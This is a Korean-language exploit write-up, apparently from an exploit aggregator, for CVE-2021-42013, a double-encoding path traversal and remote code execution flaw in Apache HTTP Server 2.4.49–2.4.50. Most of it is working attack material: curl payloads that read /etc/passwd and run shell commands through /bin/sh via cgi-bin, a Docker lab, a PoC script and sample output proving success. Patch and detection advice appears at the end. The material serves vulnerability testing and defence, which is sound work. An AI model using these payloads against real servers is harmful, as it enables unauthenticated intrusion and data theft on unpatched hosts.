Share
## https://sploitus.com/exploit?id=8AF22FB3-A28B-5CF5-9FD3-D471384930F2
# CVE-2021-42013 - Apache HTTP Server 2.4.50 경둜 μ‘°μž‘ RCE

> μž‘μ„±: eunho87  
> λ‚ μ§œ: 2024λ…„  
> CVSS Score: 9.8 (Critical)

## μš”μ•½

Apache HTTP Server 2.4.50μ—μ„œ URL 경둜 μ •κ·œν™” 처리 였λ₯˜λ‘œ 인해 **인증 없이** μž„μ˜ νŒŒμΌμ„ μ½κ±°λ‚˜ 원격 μ½”λ“œλ₯Ό μ‹€ν–‰ν•  수 μžˆλŠ” μ·¨μ•½μ μž…λ‹ˆλ‹€. μ΄λŠ” CVE-2021-41773의 λΆˆμ™„μ „ν•œ 패치둜 인해 λ°œμƒν–ˆμœΌλ©°, **이쀑 URL 인코딩(`%%32%65`)**으둜 경둜 검사λ₯Ό μš°νšŒν•©λ‹ˆλ‹€.

- **영ν–₯**: Apache 2.4.49~2.4.50
- **인증**: λΆˆν•„μš” (Pre-auth RCE)
- **CVSS**: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
- **μ™„μ „ 패치**: 2.4.51 이상

---

## 취약점 상세 뢄석

### λ°œμƒ 원인
Apache 2.4.49μ—μ„œ 경둜 μ •κ·œν™” μ½”λ“œ λ¦¬νŒ©ν„°λ§ 쀑 `../` 필터링 우회 버그(41773) λ°œμƒ  
β†’ 2.4.50μ—μ„œ 단일 인코딩(`.%2e`)만 μ°¨λ‹¨ν–ˆμœΌλ‚˜  
β†’ **이쀑 인코딩(`%%32%65`)으둜 재우회 κ°€λŠ₯** (42013)

### 곡격 원리
```
1μ°¨ λ””μ½”λ”©: %%32%65 β†’ %2e (검사 톡과)
2μ°¨ λ””μ½”λ”©: %2e β†’ .   (.. μ™„μ„± β†’ νƒˆμΆœ)
```

### μ·¨μ•½ 쑰건
1. `LoadModule cgid_module` ν™œμ„±ν™” (RCE용)
2. ``μ—μ„œ `Require all granted` (파일 μ ‘κ·Ό ν—ˆμš©)
3. `Alias` λ˜λŠ” `ScriptAlias` 경둜 쑴재

---

## PoC μ½”λ“œ

### 파일 읽기 (정보 유좜)
```bash
curl -s --path-as-is \
  "http://target:8080/static/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd"
```

### 원격 μ½”λ“œ μ‹€ν–‰ (RCE)
```bash
curl -s --path-as-is -X POST \
  --data 'echo Content-Type: text/plain; echo; id; uname -a' \
  "http://target:8080/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh"
```

---

## ν™˜κ²½ ꡬ성 및 μ‹€ν–‰

### 1. ν™˜κ²½ 기동
```bash
git clone https://github.com/eunho87/CVE-2021-42013.git
cd CVE-2021-42013
docker compose up -d
```

### 2. μ»¨ν…Œμ΄λ„ˆ 확인
```bash
docker compose ps
# cve-2021-42013 이 Up μƒνƒœ 확인 (포트 8080)
```

### 3. μžλ™ 검증 (ꢌμž₯)
```bash
python3 poc.py
```

**좜λ ₯ μ˜ˆμ‹œ:**
```
[*] λŒ€μƒ μ„œλ²„(2.4.50): localhost:8080

[PASS] A. 이쀑인코딩(CVE-2021-42013) 파일읽기 성곡
       HTTP 200, 첫 쀄: root:x:0:0:root:/root:/bin/bash
[PASS] B. 이쀑인코딩(CVE-2021-42013) μ›κ²©μ½”λ“œμ‹€ν–‰ 성곡
       uid=1(daemon) gid=1(daemon) groups=1(daemon) | Linux ... x86_64 GNU/Linux

[+] 전체 톡과
```

### 4. μˆ˜λ™ 확인
```bash
bash poc.sh
```

### 5. 정리
```bash
docker compose down
```

---

## μ‹€ν–‰ κ²°κ³Ό

### 파일 읽기 성곡
```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
...
```

### 원격 μ½”λ“œ μ‹€ν–‰ 성곡
```
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux 2dcf96c97a40 6.6.114.1-microsoft-standard-WSL2 x86_64 GNU/Linux
```

---

## 평가

| ν•­λͺ© | 점수 |
|---|---|
| **Reproducibility** | 95% |
| **Risk Score** | 9.8/10.0 |

**이유:**
- 곡식 이미지 νƒœκ·Έ κ³ μ •(2.4.50) β†’ 버전 λ“œλ¦¬ν”„νŠΈ μ—†μŒ
- 순수 ν‘œμ€€ 라이브러리 PoC (`http.client`, `curl`) β†’ μ™ΈλΆ€ μ˜μ‘΄μ„± 0
- λͺ¨λ“  파일 UTF-8 인코딩 β†’ 인코딩 였λ₯˜ μ—†μŒ
- as-submitted μž¬ν˜„μ„± 100% 검증 μ™„λ£Œ

---

## λŒ€μ‘ λ°©μ•ˆ

| 쑰치 | μ„€λͺ… |
|---|---|
| **μ—…κ·Έλ ˆμ΄λ“œ** | Apache 2.4.51 μ΄μƒμœΌλ‘œ μ¦‰μ‹œ μ—…λ°μ΄νŠΈ |
| **μ„€μ • μ™„ν™”** | ``에 `Require all denied` μœ μ§€ |
| **곡격면 μΆ•μ†Œ** | λΆˆν•„μš”ν•œ `mod_cgi` λΉ„ν™œμ„±ν™” |
| **탐지** | λ‘œκ·Έμ—μ„œ `%%32%65`, `%2e` νŒ¨ν„΄ λͺ¨λ‹ˆν„°λ§ |

---

## μ°Έκ³ 

- NVD: https://nvd.nist.gov/vuln/detail/CVE-2021-42013
- Apache λ³΄μ•ˆ 곡지: https://httpd.apache.org/security/vulnerabilities_24.html
- CVE-2021-41773: https://nvd.nist.gov/vuln/detail/CVE-2021-41773